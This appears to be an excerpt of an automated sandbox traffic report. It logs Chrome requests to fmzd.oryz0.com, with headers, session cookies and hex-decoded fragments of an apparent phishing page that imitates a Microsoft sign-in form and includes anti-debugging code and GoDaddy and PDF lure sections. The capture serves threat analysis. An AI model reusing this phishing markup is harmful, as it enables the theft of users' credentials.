2024-05-23 08:31:31 UTC	428	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 32 36 33 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 39 35 2e 32 34 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 66 6d 7a 64 2e 6f 72 79 7a 30 2e 63 6f 6d Data Ascii: [{"age":0,"body":{"elapsed_time":1263,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"172.67.195.241","status_code":404,"type":"http.error"},"type":"network-error","url":"https://fmzd.oryz0.com
2024-05-23 08:31:32 UTC	168	IN	HTTP/1.1 200 OK content-length: 0 date: Thu, 23 May 2024 08:31:31 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49777	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:32 UTC	1540	OUT	GET /9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://fmzd.oryz0.com/J4j5iUo/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InVMMlE2UnFmTVpEQksxRVoraE9TRVE9PSIsInZhbHVlIjoiVThsbHgrTHNqYmpGVTFQUjQyeXNlMFJGeU1JRE5GV2w4cDdDNDJUTW1BejZyeGRKQjZSNlN5YVI4STVDM0JLMDFqWHFSVHBwQTBKWkNQbGpFYWFBUnBxQmZKYmUvK2x3b0hHWlZka2RyMWZVV1M1WUZsaU9hQm5LQVEvT2xQK3UiLCJtYWMiOiI4NzY0Mzc3OWQ5OWMwYmFhODllZDhkNmFlNmY2N2VlZjAzNjcwMDRjZDFjY2ZkMjk2MzhkMWIxNTI3ZmZmOWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjJ1MWErS1hTUEtnUUhiaEhTMUpaL1E9PSIsInZhbHVlIjoiWlY5MERkYlA4bEdlSXV3RmhjYXFQWVY1OENMc3hRM2IxdE45NVB1TllIcjFOMEFaZWE2S1Jac2czUDVUQ3JrVlhLSXk3NWZIZkdxdzlvd2wvSjBJS29EWFROWWcvTm1rdjF5NTlTMlZBZnYyVE5NTHpJZWlPVHF2MlBkMks4RGQiLCJtYWMiOiJkNjFmM2Q3NDAzZjE4ZTRlMThhMGI0MmU3ZDViY2QyNDBlNDM3ZGFlYmM4YWY2NmU1YTQwMDY2MzE3Y2UyNzQyIiwidGFnIjoiIn0%3D
2024-05-23 08:31:32 UTC	1007	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VSrEWSFm5DCEDF%2B74aszEqYv4XY3eZle%2FD2iau61adhQ9%2B3s5kqp1mQaXe4uxHvr0pWc2qNKwvTeWfo0bSBGzHNsr1xeruyZAQuCflTuhveLFtaJk%2BcMUEXTozb8vw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; expires=Thu, 23-May-2024 10:31:32 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-05-23 08:31:32 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 52 46 54 47 4a 4b 65 6a 5a 6c 52 55 64 53 55 6d 74 51 65 54 68 79 59 33 68 34 61 31 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 63 45 74 31 62 47 78 42 51 30 68 48 56 47 64 79 53 47 46 6f 52 58 68 6c 62 53 39 44 65 6b 68 32 62 54 46 6f 56 45 56 4d 64 6b 4a 72 4b 7a 68 33 53 30 5a 70 4b 32 70 34 57 6c 68 31 54 6a 4e 76 53 31 45 32 65 56 52 54 55 6a 64 55 4f 54 42 5a 4d 6a 5a 48 64 55 63 34 64 57 35 49 56 6e 4d 35 63 6d 4a 6a 54 55 4a 4e 52 54 45 34 4e 55 6c 48 5a 44 4e 6a 4b 31 70 78 62 47 5a 53 61 46 6c 6f 63 45 78 49 55 30 68 59 65 69 39 4c 56 30 38 7a 63 31 6c 57 4e 32 5a 7a 4e 47 4a 4a 4d 48 70 74 4e 6e 70 77 4b 7a 46 72 62 32 67 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2g
2024-05-23 08:31:32 UTC	1369	IN	Data Raw: 31 31 65 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 6a 71 75 65 72 79 2d 33 2e 36 2e 30 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 73 6f 63 6b 65 74 2e 69 6f 2f 34 2e 36 2e 30 2f 73 6f 63 6b 65 74 2e 69 6f 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 61 70 69 2e 6a 73 22 3e 3c Data Ascii: 11ea<!DOCTYPE html><html lang="en"><head> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script src="https://cdn.socket.io/4.6.0/socket.io.min.js"></script> <script src="https://www.google.com/recaptcha/api.js"><
2024-05-23 08:31:32 UTC	1369	IN	Data Raw: 36 37 30 6a 44 6a 69 6a 58 34 73 74 4e 4f 44 38 31 79 47 4e 74 53 79 77 46 41 56 4a 30 78 65 6f 32 30 4a 37 78 55 31 47 62 46 75 76 32 32 30 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 2c 6e 6f 2d 72 65 70 65 61 74 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 63 65 6e 74 65 72 20 63 65 6e 74 65 72 2c 63 65 6e 74 65 72 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 2c 63 6f 76 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 62 31 62 31 62 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 Data Ascii: 670jDjijX4stNOD81yGNtSywFAVJ0xeo20J7xU1GbFuv220'); background-repeat: no-repeat,no-repeat; background-position: center center,center center; background-size: cover,cover; color: #1b1b1b; }
2024-05-23 08:31:32 UTC	1369	IN	Data Raw: 27 64 65 62 75 67 67 65 72 27 29 3b 0d 0a 20 20 20 20 2f 2f 20 63 6f 6e 73 74 20 74 31 20 3d 20 44 61 74 65 2e 6e 6f 77 28 29 3b 0d 0a 20 20 20 20 2f 2f 20 7d 2c 20 31 30 30 30 29 3b 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 73 74 61 72 74 6e 65 77 22 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 73 65 63 74 69 6f 6e 73 22 20 63 6c 61 73 73 3d 22 22 3e 0d 0a 20 20 20 20 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 73 65 63 74 69 6f 6e 5f 74 72 79 69 6e 67 74 6f 73 69 67 6e 69 6e 22 20 73 74 79 6c 65 3d 22 61 6e 69 6d 61 74 69 6f 6e 3a 73 68 6f 77 2d 66 72 6f 6d 2d 72 69 67 68 74 20 30 2e 35 73 3b 22 20 63 6c 61 73 73 3d 22 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d Data Ascii: 'debugger'); // const t1 = Date.now(); // }, 1000); </script></head><body class="startnew"><div id="sections" class=""> <section id="section_tryingtosignin" style="animation:show-from-right 0.5s;" class=""> <div class=
2024-05-23 08:31:32 UTC	487	IN	Data Raw: 69 6e 67 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 63 74 69 6f 6e 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 69 72 73 74 6c 6f 67 6f 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 62 61 63 6b 22 20 6f 6e 63 6c Data Ascii: ing"></div> <div class="dot-floating"></div> <div class="dot-floating"></div> </div> <div class="sectioncontent"> <div class="firstlogo"></div> <button class="back" oncl
2024-05-23 08:31:32 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 65 72 72 6f 72 5f 75 6e 61 6d 65 22 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 69 64 3d 22 69 6e 70 5f 75 6e 61 6d 65 22 20 74 79 70 65 3d 22 74 65 78 74 22 20 6e 61 6d 65 3d 22 75 6e 61 6d 65 22 20 63 6c 61 73 73 3d 22 69 6e 70 75 74 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 76 61 6c 75 65 3d 22 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 45 6d 61 69 6c 2c 20 70 68 6f 6e 65 2c 20 6f 72 20 53 6b 79 70 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: 7ffa <div id="error_uname" class="error"></div> <input id="inp_uname" type="text" name="uname" class="input" autocomplete="off" value="" placeholder="Email, phone, or Skype" /> </div>
2024-05-23 08:31:32 UTC	1369	IN	Data Raw: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 63 74 69 6f 6e 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 6e 6e 65 72 6c 6f 67 6f 22 20 63 6c 61 73 73 3d 22 64 2d 62 6c 6f 63 6b 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 64 65 6e 74 69 74 79 20 77 2d 31 30 30 20 6d 74 2d 31 36 20 6d 62 2d 31 36 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 Data Ascii: <div class="dot-floating"></div> </div> <div class="sectioncontent"> <div class="bannerlogo" class="d-block"></div> <div class="identity w-100 mt-16 mb-16"> <button cla
2024-05-23 08:31:32 UTC	1369	IN	Data Raw: 67 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 63 74 69 6f 6e 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 69 72 73 74 6c 6f 67 6f 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 64 65 6e 74 69 74 79 20 77 2d 31 30 30 20 Data Ascii: g"></div> <div class="dot-floating"></div> <div class="dot-floating"></div> </div> <div class="sectioncontent"> <div class="firstlogo"></div> <div class="identity w-100
2024-05-23 08:31:32 UTC	1369	IN	Data Raw: 3f 20 3c 61 20 68 72 65 66 3d 22 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 22 3e 43 72 65 61 74 65 20 6f 6e 65 21 3c 2f 61 3e 3c 2f 70 3e 20 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 0d 0a 20 20 20 20 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 73 65 63 74 69 6f 6e 5f 74 72 79 61 67 61 69 6e 6c 61 74 65 72 22 20 63 6c 61 73 73 3d 22 64 2d 6e 6f 6e 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 75 74 68 2d 77 72 61 70 70 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ? <a href="" class="link">Create one!</a></p> --> </div> </div> </section> <section id="section_tryagainlater" class="d-none"> <div class="auth-wrapper"> <div class="loading-container">
2024-05-23 08:31:32 UTC	1369	IN	Data Raw: 6f 72 6d 61 74 69 6f 6e 2e 20 3c 62 72 3e 3c 61 20 68 72 65 66 3d 22 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 6d 62 2d 31 36 22 3e 54 72 79 20 41 67 61 69 6e 2e 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 6d 62 2d 31 36 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6f 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 66 77 6c 69 6e 6b 2f 70 2f 3f 4c 69 6e 6b 49 64 3d 37 30 38 36 31 34 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 Data Ascii: ormation. <br><a href="" class="link mb-16">Try Again.</a> </div> <a class="link mb-16" style="font-size: 13px;" href="https://go.microsoft.com/fwlink/p/?LinkId=708614" target="_blank">More information</a> </div>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49781	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:33 UTC	1383	OUT	GET /12804PhK6xy6Llhw6720 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
2024-05-23 08:31:33 UTC	634	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:33 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="12804PhK6xy6Llhw6720" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6NM%2Br1ee%2BGzMvASjGX31LDY2toV%2B3Jt9H9T0aeZU0LnaFcvRLQRVxnq9xOTK4aXcfcNkb6a56uwkZCQhRj5dr95zhCgczi6QrObT8luTyGnGw2XDHKM8GErA%2BlYMpg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0b9d83e1811-EWR
2024-05-23 08:31:33 UTC	735	IN	Data Raw: 33 37 62 36 0d 0a 2a 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 61 6c 65 72 74 2c 2e 72 61 64 69 6f 20 6c 61 62 65 6c 2c 2e 72 6f 77 2e 74 69 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 23 73 65 63 74 69 6f 6e 73 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 2c 2e 74 61 62 6c 65 20 2e 74 61 62 6c 65 2d 63 65 6c 6c 2c 69 6d 67 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 61 67 65 4e 61 6d 65 2c 2e 72 6f 77 2e 74 69 6c 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 61 63 74 69 76 65 2c 2e Data Ascii: 37b6*,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_pdf .pdfheader #pageName,.row.tile,.row.tile:not(.no-pick):active,.
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 69 63 72 6f 73 6f 66 74 20 54 61 69 20 4c 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 69 20 42 61 69 74 69 22 2c 22 4d 6f 6e 67 6f 6c 69 61 6e 20 42 61 69 74 69 22 2c 22 4d 56 20 42 6f 6c 69 22 2c 22 4d 79 61 6e 6d 61 72 20 54 65 78 74 22 2c 22 43 61 6d 62 72 69 61 20 4d 61 74 68 22 7d 2e 77 65 62 73 69 74 65 73 65 63 74 69 6f 6e 73 7b 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 76 77 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 68 65 69 67 68 74 3a 31 30 30 76 68 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 61 7b 63 6f 6c 6f Data Ascii: icrosoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math"}.websitesections{height:100%;width:100vw;position:relative}#sections_godaddy,#sections_pdf{display:flex;flex-direction:column;height:100vh}#sections_pdf a{colo
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 61 63 6b 67 72 6f 75 6e 64 3a 23 30 30 30 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 7b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 34 30 70 78 20 34 30 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 3a 31 2e 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 20 6c 64 73 2d 73 70 69 6e 6e 65 72 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 66 69 72 73 74 2d 63 68 69 6c 64 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 31 2e 31 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 32 29 7b 74 72 61 6e 73 66 6f 72 6d 3a Data Ascii: ackground:#000}#sections_pdf .lds-spinner div{transform-origin:40px 40px;animation:1.2s linear infinite lds-spinner}#sections_pdf .lds-spinner div:first-child{transform:rotate(0);animation-delay:-1.1s}#sections_pdf .lds-spinner div:nth-child(2){transform:
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 62 61 28 30 2c 30 2c 30 2c 2e 31 39 32 29 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 61 64 65 72 62 69 67 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 31 30 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 35 25 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 61 6c 6c 42 6c 6f 63 6b 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 30 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f Data Ascii: ba(0,0,0,.192)}#sections_pdf .loaderbig{position:absolute;width:100px;height:100px;margin-top:15%}#sections_pdf .allBlock{position:relative;margin-top:30px;margin-left:auto;margin-right:auto;width:100%;display:flex;justify-content:center;flex-direction:co
